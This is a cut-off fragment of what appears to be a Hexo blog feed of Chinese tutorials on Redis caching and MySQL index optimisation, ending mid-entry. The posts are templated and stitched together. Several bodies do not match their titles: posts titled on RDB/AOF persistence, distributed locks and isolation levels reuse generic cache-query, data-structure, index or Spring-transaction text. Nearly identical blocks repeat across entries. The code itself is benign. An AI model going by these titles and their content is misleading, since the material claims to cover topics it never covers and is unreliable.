        <content type="html"><![CDATA[<h1 id="教程：Redis-持久化-RDB-和-AOF-怎么选"><a href="#教程：Redis-持久化-RDB-和-AOF-怎么选" class="headerlink" title="教程：Redis 持久化 RDB 和 AOF 怎么选"></a>教程：Redis 持久化 RDB 和 AOF 怎么选</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Redis 分布式锁的正确姿势</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Redis-分布式锁的正确姿势"><a href="#教程：Redis-分布式锁的正确姿势" class="headerlink" title="教程：Redis 分布式锁的正确姿势"></a>教程：Redis 分布式锁的正确姿势</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：缓存穿透击穿雪崩怎么处理</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：缓存穿透击穿雪崩怎么处理"><a href="#教程：缓存穿透击穿雪崩怎么处理" class="headerlink" title="教程：缓存穿透击穿雪崩怎么处理"></a>教程：缓存穿透击穿雪崩怎么处理</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Redis 常见数据结构和使用场景</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Redis-常见数据结构和使用场景"><a href="#教程：Redis-常见数据结构和使用场景" class="headerlink" title="教程：Redis 常见数据结构和使用场景"></a>教程：Redis 常见数据结构和使用场景</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：数据库字段类型如何贴近业务</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：数据库字段类型如何贴近业务"><a href="#教程：数据库字段类型如何贴近业务" class="headerlink" title="教程：数据库字段类型如何贴近业务"></a>教程：数据库字段类型如何贴近业务</h1><p>字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：分页查询性能问题和游标分页"><a href="#教程：分页查询性能问题和游标分页" class="headerlink" title="教程：分页查询性能问题和游标分页"></a>教程：分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：慢-SQL-排查和优化完整流程"><a href="#教程：慢-SQL-排查和优化完整流程" class="headerlink" title="教程：慢 SQL 排查和优化完整流程"></a>教程：慢 SQL 排查和优化完整流程</h1><p>教程：慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：MySQL 事务隔离级别和幻读问题</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：MySQL-事务隔离级别和幻读问题"><a href="#教程：MySQL-事务隔离级别和幻读问题" class="headerlink" title="教程：MySQL 事务隔离级别和幻读问题"></a>教程：MySQL 事务隔离级别和幻读问题</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：EXPLAIN-执行计划应该看哪些字段"><a href="#教程：EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="教程：EXPLAIN 执行计划应该看哪些字段"></a>教程：EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span 